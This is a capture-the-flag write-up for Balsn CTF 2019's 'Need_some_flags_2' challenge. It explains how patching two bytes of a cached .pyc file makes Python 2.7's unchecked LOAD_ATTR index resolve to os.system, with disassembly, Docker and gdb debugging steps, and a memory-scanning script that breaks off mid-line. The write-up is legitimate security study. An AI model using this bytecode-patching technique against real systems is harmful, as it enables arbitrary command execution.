Rating: 5.0

## Misc - Need_some_flags_2

We are given a Python console application exposed via xinetd. It allows us to
do four things:

* Option `0` (`writeflag`): three times only, write up to 0x30 characters into
`flag` global variable as well as into a new file with a random name.
* Option `1` (`editflag`): one time only, write 2 bytes into any file in the
application directory (excluding `.py` files) at any offset.
* Option `2` (`pushflag`): no-op, commented out.
* Option `3` (`secretflag`): reload the `nonsecret` module and pass an arbitrary
string to the `printlist` function inside it.

`nonsecret.py` is trivial:

```
import os
def printlist(path):
print os.listdir(path)
```

Which files can we edit with `editflag`? `.py` ones are locked down, random flag
files are useless, and we cannot reference files outside of the current
directory. Initial import of the `nonsecret` module results in generation of
`nonsecret.pyc`, and `secretflag` reloads it - so we can edit `nonsecret.pyc`.
`.pyc` files with a fresher timestamp take precedence over older `.py` files - a
source of constant frustration in daily life.

Let's disassemble the `nonsecret.pyc` with [python-xdis](
https://github.com/rocky/python-xdis):

```
$ pydisasm --show-bytes nonsecret.pyc
```
```
# Method Name: <module>
```
```
# Constants:
# 0: -1
# 1: None
# 2: <xdis.code.Code2 object at 0x7fc9e252deb8>
# Names:
# 0: os
# 1: printlist
1: 0 |64 00 00| LOAD_CONST (-1)
3 |64 00 01| LOAD_CONST (None)
6 |6c 00 00| IMPORT_NAME (os)
9 |5a 00 00| STORE_NAME (os)

2: 12 |64 00 02| LOAD_CONST (<xdis.code.Code2 object at 0x7fc9e252deb8>)
15 |84 00 00| MAKE_FUNCTION 0
18 |5a 00 01| STORE_NAME (printlist)
21 |64 00 01| LOAD_CONST (None)
24 |53 | RETURN_VALUE
```
```
# Method Name: printlist
```
```
# Constants:
# 0: None
# Names:
# 0: os
# 1: listdir
# Varnames:
# path
# Positional arguments:
# path
3: 0 |74 00 00| LOAD_GLOBAL (os)
3 |6a 00 01| LOAD_ATTR (listdir)
6 |7c 00 00| LOAD_FAST (path)
9 |83 00 01| CALL_FUNCTION (1 positional, 0 named)
12 |47 | PRINT_ITEM
13 |48 | PRINT_NEWLINE
14 |64 00 00| LOAD_CONST (None)
17 |53 | RETURN_VALUE
```

First guess - replace two-letter `os` module name with something else, e.g.
`uu`. Unfortunately, there is no such module with a useful `listdir` function.
Similarly, there doesn't seem to be a way to replace two consecutive letters in
`listdir` function name to get a name of a useful function.

Second guess - patch the argument of `LOAD_ATTR` so that it ends up pointing to
`system` instead of `listdir`. Inspecting [python2.7.15](
https://github.com/python/cpython/tree/v2.7.15) code shows that [`LOAD_ATTR`](
https://github.com/python/cpython/blob/v2.7.15/Python/ceval.c#L2551) does
[`GETITEM`](https://github.com/python/cpython/blob/v2.7.15/Python/ceval.c#L833),
which does no bounds checking in release builds. The `LOAD_ATTR` argument is
[unsigned](https://github.com/python/cpython/blob/v2.7.15/Python/ceval.c#L883).
So if we manage to find a `PyObject *` pointing to `system` string within
`0x10000 * 8` bytes from [`names` tuple](
https://github.com/python/cpython/blob/v2.7.15/Python/ceval.c#L1021), then we
are good.

We could increase the chances of it appearing by passing `system` to
`writeflag` (option `0`), since the value will be saved into a global variable
`flag`, which will not be overwritten or garbage collected.

How to find the offset? Let's use gdb and catch the moment when the code calls
`LOAD_ATTR` inside `printlist`. First, let's add a few things to the
`Dockerfile` to enable debugging (it's important to have the same environment
as the actual server):

```
RUN sed -i -e 's/^# deb-src /deb-src /g' /etc/apt/sources.list
RUN apt-get update
RUN apt-get install dpkg-dev gdb python2.7-dbg -y
RUN cd /usr/src && apt-get source python2.7
```

Then rebuild the image and run it with `--privileged` flag to enable debugging
(this is actually an overkill - something like `--cap-add=SYS_PTRACE
--security-opt=apparmor:unconfined` might suffice, but it's so much longer):

```
$ docker build -t need_some_flags_2 .
$ docker run -it --rm -p 4869:4869 --privileged --name need_some_flags_2 need_some_flags_2
$ docker exec -it need_some_flags_2 bash
# cd /usr/src/python2.7-2.7.15/Python
# gdb -p $(pidof python2.7)
```

We can catch execution of any code in `nonsecret` module using the following
conditional breakpoint:

```
(gdb) b PyEval_EvalFrameEx if (strcmp(PyDict_GetItemString(f->f_globals, "__name__")->ob_type->tp_name, "str") == 0) && (strcmp(PyString_AsString(PyDict_GetItemString(f->f_globals, "__name__"), 0), "nonsecret") == 0)
```

Here we abuse invoking functions in the gdb inferior. We take a frame object and
ask for a `__name__` item of its globals dict. Sometimes it may be `None`, so we
first check if it's a `str`, if yes, then we compare its value with `nonsecret`.
This breakpoint fires only two times - for module initialization and for
`printlist`. So we can skip it the first time, and then single-step to
`LOAD_ATTR` case in the switch statement in the interpreter loop.

Unfortunately, debuginfo is not good enough and does not show the location of
`names`, so after reaching `TARGET(LOAD_ATTR)` we need to issue a few `si`
commands to position ourselves at `+1602`.

```
2551 TARGET(LOAD_ATTR)
0x000056508de6136d <+1565>: lea 0x2(%r9),%rbp
0x000056508de61371 <+1569>: movzbl -0x1(%rbp),%eax
0x000056508de61375 <+1573>: movzbl -0x2(%rbp),%r14d
0x000056508de61383 <+1587>: mov %r9,(%rsp)
0x000056508de61387 <+1591>: shl $0x8,%eax
0x000056508de6138d <+1597>: add %r14d,%eax

2552 {
2553 w = GETITEM(names, oparg);
0x000056508de6137a <+1578>: mov 0x30(%rsp),%r12
0x000056508de61390 <+1600>: cltq
0x000056508de61392 <+1602>: mov 0x18(%r12,%rax,8),%r14
```

At this point, `%rax` is index (`1` in non-patched version) and `%r12` is
`names`, `0x18` is python object header size, so `%r12 + 0x18` is the start of
the array. Let's scan the memory and find the indices:

```
(gdb) python
import struct
i = gdb.inferiors()[0]
names_arr = <<<output of p/x $r12 + 0x18>>>
PyString_Type = <<<output of p/x PyString_Type>>>
for pp in range(names_arr, names_arr + 0x10000 * 8, 8):
p, = struct.unpack('

Original writeup (https://github.com/mephi42/ctf/tree/master/2019.10.05-Balsn_CTF_2019/misc-Need_some_flags_2).